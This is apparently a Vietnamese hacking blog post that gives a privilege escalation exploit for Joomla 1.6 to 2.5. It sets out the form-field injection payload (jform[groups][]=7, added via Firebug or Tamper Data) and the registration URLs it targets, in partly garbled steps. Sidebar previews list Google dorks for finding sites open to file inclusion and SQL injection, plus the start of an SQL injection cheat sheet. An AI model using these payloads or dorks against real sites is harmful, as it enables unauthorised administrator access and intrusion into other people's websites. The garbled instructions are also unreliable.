[Bug] Joomla! 1.6/1.7/2.5 Privilege Escalation Vulnerability


Firebug: <input name="jform[groups][]" value="7" />
Tamper Data: jform[groups][]=7

Chi tiết


index.php?option=com_users&view=registration (2.x)

index.php?option=com_user&view=register (Joomla! 1.x)

1. go to mydomain + index.php?option=com_users&view=registration

2. The first time I enter de pass incorrect.

3. The second time y insert with firebug after " .

Comments

Post a Comment

Để lại góp ý của bạn để blog của mình hoàn thiện hơn :))

Popular posts from this blog

[Hack crack] Tổng hợp Google Dork

Image
/includes/header.php?systempath= /Gallery/displayCategory.php?basepath= /index.inc.php?PATH_Includes= /nphp/nphpd.php?nphp_config[LangFile]= /include/db.php?GLOBALS[rootdp]= /ashnews.php?pathtoashnews= /ashheadlines.php?pathtoashnews= /modules/xgallery/upgrade_album.php?GALLERY_BASEDIR= /demo/includes/init.php?user_inc= /jaf/index.php?show= /inc/shows.inc.php?cutepath= /poll/admin/common.inc.php?base_path= /pollvote/pollvote.php?pollname= /sources/post.php?fil_config= /modules/My_eGallery/public/displayCategory.php?basepath= /bb_lib/checkdb.inc.php?libpach= /include/livre_include.php?no_connect=lol&chem_absolu= /index.php?from_market=Y&pageurl= /modules/mod_mainmenu.php?mosConfig_absolute_path= /pivot/modules/module_db.php?pivot_path= /modules/4nAlbum/public/displayCategory.php?basepath= /derniers_commentaires.php?rep= /modules/coppermine/themes/default/theme.php?THEME_DIR= /modules/coppermine/include/init.inc.php?CPG_M_DIR= /modules/coppermine/themes/c...
Read more

[Hack Crack] Full SQL inject cheat sheet - DarkGh0st Team

Image
################################################### # [+]Title: [Full SQL Injections Cheatsheet] ################################################### # [+] About : ################################################### # Author : GlaDiaT0R | the_gl4di4t0r@hotmail.com<mailto:the_gl4di4t0r@hotmail.com> # Team : DarkGh0st Team ( DarkGh0st.Com ) # Greetz: Boomrang_Victim, Marwen_Neo ################################################### # [+] Summary: I* # [1]-Introducing The SQL Injection Vuln # [2]-Exploiting Sql Injection Vuln # [3]-Exploiting Blind SQL Injection Vuln ################################################### [ 1 ]* - Introducing The SQL Injection Vuln : . SQL injection attacks are known also as SQL insertion it 's in the form of executing some querys in the database and getting acces to informations (SQL Vesion, Number & Names of tables and columns,some authentification infos,ect...) [2]* -Exploiting Sql Injection Vuln : .Before proceeding to the ...
Read more

[Hack crack] Tổng hợp Google Dork 1

Image
inurl:index.php?id= inurl:trainers.php?id= inurl:buy.php?category= inurl:article.php?ID= inurl:play_old.php?id= inurl:declaration_more.php?decl_id= inurl:Pageid= inurl:games.php?id= inurl:page.php?file= inurl:newsDetail.php?id= inurl:gallery.php?id= inurl:article.php?id= inurl:show.php?id= inurl:staff_id= inurl:newsitem.php?num= inurl:readnews.php?id= inurl:top10.php?cat= inurl:historialeer.php?num= inurl:reagir.php?num= inurl:forum_bds.php?num= inurl:game.php?id= inurl:view_product.php?id= inurl:newsone.php?id= inurl:sw_comment.php?id= inurl:news.php?id= inurl:avd_start.php?avd= inurl:event.php?id= inurl:product-item.php?id= inurl:sql.php?id= inurl:news_view.php?id= inurl:select_biblio.php?id= inurl:humor.php?id= inurl:aboutbook.php?id= inurl:fiche_spectacle.php?id= inurl:communique_detail.php?id= inurl:sem.php3?id= inurl:kategorie.php4?id= inurl:news.php?id= inurl:index.php?id= inurl:faq2.php?id= inurl:show_an.php?id= inurl:preview.php?id= i...
Read more